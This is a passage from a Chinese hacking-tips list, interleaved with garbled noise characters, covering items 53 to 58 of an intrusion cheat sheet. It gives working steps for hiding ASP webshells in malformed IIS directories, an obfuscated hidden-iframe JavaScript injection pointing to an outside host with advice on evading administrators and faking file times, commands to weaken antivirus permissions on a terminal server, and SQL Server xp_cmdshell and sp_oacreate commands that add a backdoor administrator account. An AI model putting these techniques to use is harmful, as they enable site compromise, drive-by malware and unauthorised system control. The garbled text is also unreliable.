6 G9 C$ ] k! z: X执行后可以用AT命令查看新加的任务
7 W( p; H* F( Y, i) P用AT这个命令以交互的方式运行cmd.exe 这样运行的cmd.exe是system权限。) s1 a1 M. S- I* \4 W0 B
% O {9 E" V6 a0 n- ^* |; N53、隐藏ASP后门的两种方法
! m4 `$ {3 g! U* ^3 K1 W1、建立非标准目录:mkdir images..\. o O5 C5 ?4 Z1 }
拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
1 b0 {# `6 Z+ M8 x( x7 Y" I通过web访问ASP木马:http://ip/images../news.asp?action=login
/ W3 h5 ?3 {6 U! L如何删除非标准目录:rmdir images..\ /s
# k! D. v2 R! U ^7 V! |2、Windows中的IIS会对以.asp结尾的目录中的文件进行解析,以达到我们隐藏自己的网页后门的目的:
A; z! A1 h9 i/ y& K4 Fmkdir programme.asp: x; R9 m+ v0 c0 H4 ]
新建1.txt文件内容:<!--#include file=”12.jpg”-->& Y9 Y9 g3 S6 V; ]# m4 m# E
新建12.jpg文件内容:<%execute(request("l"))%> 或使用GIF与ASP合并后的文件
6 d+ @' L" ^! Dattrib +H +S programme.asp! |) T; W7 K8 H4 n/ O) d
通过web访问ASP一句话木马:http://ip/images/programme.asp/1.txt2 F" {, D- T9 v7 d5 f( R
$ G( o. x3 s# s- }' |. N# D
54、attrib /d /s c:\windows +h +s,后windows目录变为隐藏+系统,隐藏属性为灰不可更改,windows目录下面的文件和目录并没有继承属性,原来是什么样还是什么样。 G9 i) `5 j* X7 ~& I
然后在利用attrib /d /s c:\windows -h -s,windows目录可以显示,隐藏属性可以再次选中。
0 f- n6 C+ S# n( \& B+ e5 |2 j' p7 }- u& S2 n
55、JS隐蔽挂马
% ^1 v5 T2 Y4 ?1.
2 U* B3 E. J/ m/ d) i: Ivar tr4c3="<iframe src=ht";4 m, ]9 b) W, z/ S
tr4c3 = tr4c3+"tp:/";$ G: ?9 r- b- F. D4 j: j* k0 v8 J0 J
tr4c3 = tr4c3+"/ww"; }, V8 m+ K$ I- w: Q. q% b! x
tr4c3 = tr4c3+"w.tr4";
8 H/ Z3 y1 M* B/ Z3 Htr4c3 = tr4c3+"c3.com/inc/m";
& q3 H% S5 e2 V7 n! t+ str4c3 = tr4c3+"m.htm style="display:none"></i";+ z" N0 N. N9 V" Z9 s
tr4c3 =tr4c3+"frame>'";; N1 v Z3 l8 s. b5 b: b0 ~
document.write(tr4c3);+ u& X0 h- a3 t2 r5 u+ M& j
避免被管理员搜索网马地址找出来。把变量名定义的和网站本身的接近些,混淆度增加。
% i4 u( Q5 _+ F ?' h P! ~. a
, W9 N! z% |) `( n# w S+ Y* ?2.
) S0 j+ N8 I. g8 i' Y转换进制,然后用EVAL执行。如
2 l5 |8 C) }* S% W6 O% r; Feval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\40\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\167\167\167\56\164\162\64\143\63\56\143\157\155\57\151\156\143\57\155\155\56\150\164\155\40\163\164\171\154\145\75\42\42\144\151\163\160\154\141\171\72\156\157\156\145\42\42\76\74\57\151\146\162\141\155\145\76\42\51\73");
9 K) w6 S; D' h: I2 k7 |不过这个有点显眼。7 ]' W. _8 v( K" F+ K
3.2 N. f# R1 B* A* j. h4 a. q
document.write ('<iframe src=http://www.tr4c3.com/inc/mm.htm style="display:none"></iframe>');
! m1 W" |0 x; H7 z最后一点,别忘了把文件的时间也修改下。
1 A8 d) Z" B' J; q3 I: ^8 U4 t3 W* s* V7 o
56.3389终端入侵常用DOS命令# r- ?/ Y6 d4 ^; r. |
taskkill taskkill /PID 1248 /t6 v9 m/ |# `' M7 c& b
. J* {4 O- D% q% N( l; R; gtasklist 查进程( p5 o2 y! R6 c- y) C: x/ l
8 h3 A$ A3 P" \9 |
cacls "C:\Program Files\ewido anti-spyware 4.0\guard.exe" /d:everyone 改、降低某文件权限3 M4 B: |6 |2 }+ h9 I+ Z; c2 V4 }
iisreset /reboot8 Z, E* u3 C* T0 M; Z# _
tsshutdn /reboot /delay:1 重起服务器
% k9 I$ \5 m% Y- X) j
) f c% ^0 p2 p* m! i% `logoff 12 要使用会话 ID(例如,会话 12)从会话中注销用户,0 S4 H9 Q8 \1 C2 z/ g+ \9 l! G+ s
% o" ?- D; C6 p+ A+ l# i
query user 查看当前终端用户在线情况% Q( z4 t# E; p: ?
4 Q' N7 D0 I w7 {3 X$ R
要显示有关所有会话使用的进程的信息,请键入:query process *
1 j$ [6 X6 y2 Y0 t: {- F! @9 C+ U" a( R
要显示有关会话 ID 2 使用的进程的信息,请键入:query process /ID:2
2 D8 ~. h% y. k: @0 K7 v, `, D7 f& f. }! ^
要显示有关服务器 SERVER2 上所有活动会话的信息,请键入:query session /server:SERVER2
, j2 G8 ?9 b$ A0 Q8 Q
; r! G4 I9 x7 v- v要显示有关当前会话 MODEM02 的信息,请键入:query session MODEM02+ A4 L; v# s( b% H
p! D# g9 d. K$ x7 `) z, P命令列:rundll32.exe user.exe,restartwindows 功能: 系统重启
' @1 g$ ]. U( W/ }4 i4 X2 h' I' y- C5 p |! V0 E$ B' V" ^9 E' ^0 x
命令列:rundll32.exe user.exe,exitwindows 功能: 关闭系统
* z0 y5 J# G: c( w$ r6 S( F" A9 ~& M, R2 K' i. Q8 U( g
命令列: rundll32.exe user.exe,restartwindows 功能: 强行关闭所有程式并重启机器。
/ _& K7 y5 J V0 t
+ t& r1 X1 b: r) h1 [, N# f) m命令列: rundll32.exe user.exe,exitwindows 功能: 强行关闭所有程式并关机, B+ s$ o; H2 e
7 a8 ~4 W" I0 V* s/ y56、在地址栏或按Ctrl+O,输入:
( O+ [: I7 ~* e {; c; Y* mjavascript:s=document.documentElement.outerHTML;document.write('<body></body>');document.body.innerText=s;
' b) p: z) m: D1 ?7 T* V9 S. N9 Q/ ~2 b+ g" T/ z1 u
源代码就出来了。不论加密如何复杂,最终都要还原成浏览器可以解析的html代码,而documentElement.outerHTML正是最终的结果。
" J! o6 M- t: b' ?, o' w- q$ S. O; [& J' n
57、net user的时候,是不能显示加$的用户,但是如果不处理的话,; ^3 Z+ y: A" p' c
用net localgroup administrators是可以看到管理组下,加了$的用户的。
5 _: q5 v* u) R' M! d& w" j7 O3 Y' `1 Q1 |% g3 d
58、 sa弱口令相关命令
* j# o, H4 W8 f# h/ J5 L; L B/ I! Z
一.更改sa口令方法:
8 Q* P d2 A, o* H) ?7 H用sql综合利用工具连接后,执行命令:& O2 O) F! t C3 f
exec sp_password NULL,'20001001','sa'
5 C. p* {7 Q8 R0 e9 v2 h(提示:慎用!) E) O5 r# W5 c; ? h- A) ^
$ [% h3 E, q2 q! M
二.简单修补sa弱口令.
% y: D* t3 a9 W& O
# C1 x6 g3 ^' Y- ?' p' P9 H方法1:查询分离器连接后执行:
) d. l; q) |' J* Tif exists (select * from2 G' `" B, G$ _
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
$ z9 n( K* J- I+ V+ O: w- vOBJECTPROPERTY(id, N'IsExtendedProc') = 1)
0 R) x z {$ o8 D* O% d. X. ]/ D4 J' J E3 E& Y
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
. l6 z2 k0 |; c# k7 B/ b4 Z; t) J! J. ?( `$ q4 _
GO5 z1 U5 l1 c& I" ~. u: ]
* @8 |7 {9 G0 I" A然后按F5键命令执行完毕
$ i/ M5 V$ [3 W1 g* u+ T3 w! a y( S( a) C
方法2:查询分离器连接后; ]6 y X+ B( ^: ]
第一步执行:use master
$ o1 P" }4 s* T第二步执行:sp_dropextendedproc 'xp_cmdshell'
. m. b" h( C6 o; L然后按F5键命令执行完毕4 f4 {5 J! g0 u* z2 J* s4 s7 C. x$ ~* q
' w0 T! m. I9 E9 z9 `- r4 O. _0 e! G
三.常见情况恢复执行xp_cmdshell.* K8 D: H& N6 R
6 |6 ]% \7 x/ P# r
. s' J6 w7 ?1 Q6 {2 h/ X; E d4 ]& _1 未能找到存储过程'master..xpcmdshell'.
( P$ D A# `- F 恢复方法:查询分离器连接后,
1 U& L$ G2 ^" |+ ?( `8 Q' v7 w第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int1 E% t8 Y* f0 }1 {
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'" M* o# h1 \+ a9 C! f
然后按F5键命令执行完毕( R1 x8 N' Z+ x1 _& Z
4 n4 u2 Z4 d9 `5 r* n8 ?- R) O2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)4 @# q! Q+ y2 e% M
恢复方法:查询分离器连接后,
5 Y2 E. d* e5 a* C1 M( m% N第一步执行:sp_dropextendedproc "xp_cmdshell"" `( c% q @. i! _2 j2 V1 l* L: Y
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'4 l1 \6 d5 P! }! c- o
然后按F5键命令执行完毕
, Y3 [, y+ y; G* e- }+ g2 a) c# \0 l
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
" [3 j! Z1 V$ q8 _0 J& X% y恢复方法:查询分离器连接后,, a8 E' j9 X# U1 B9 G
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
1 C" Y1 C4 h3 p+ `, o: Q第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' 4 M$ q' j! w4 g5 B# {% ]: v
然后按F5键命令执行完毕
1 b l: A2 U' L+ J3 P9 ^7 b- ]% ]% m
四.终极方法.6 m [% M8 z) s; u8 ?, L: P
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:- o$ |" V5 u z2 h6 ]( j
查询分离器连接后,5 F2 T* S, q. F& Y5 ?
2000servser系统:! B% ?4 i, {" U! H
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 用户名 密码 /add'
* A: a8 j* h7 ]8 m- t( \5 J
) y, @3 V/ \' L2 q2 y3 X" Pdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 用户名 /add'
, F( }$ \* f4 U0 q7 |) T
% {0 z1 W r6 E% T& o+ Dxp或2003server系统:% v$ ~) J$ ~" {
+ g6 S! P ?! E ldeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'2 g5 y1 I: _4 |, M& E7 y
* G3 e: O' B% _declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'$ N4 s+ n. I0 F2 E6 D
|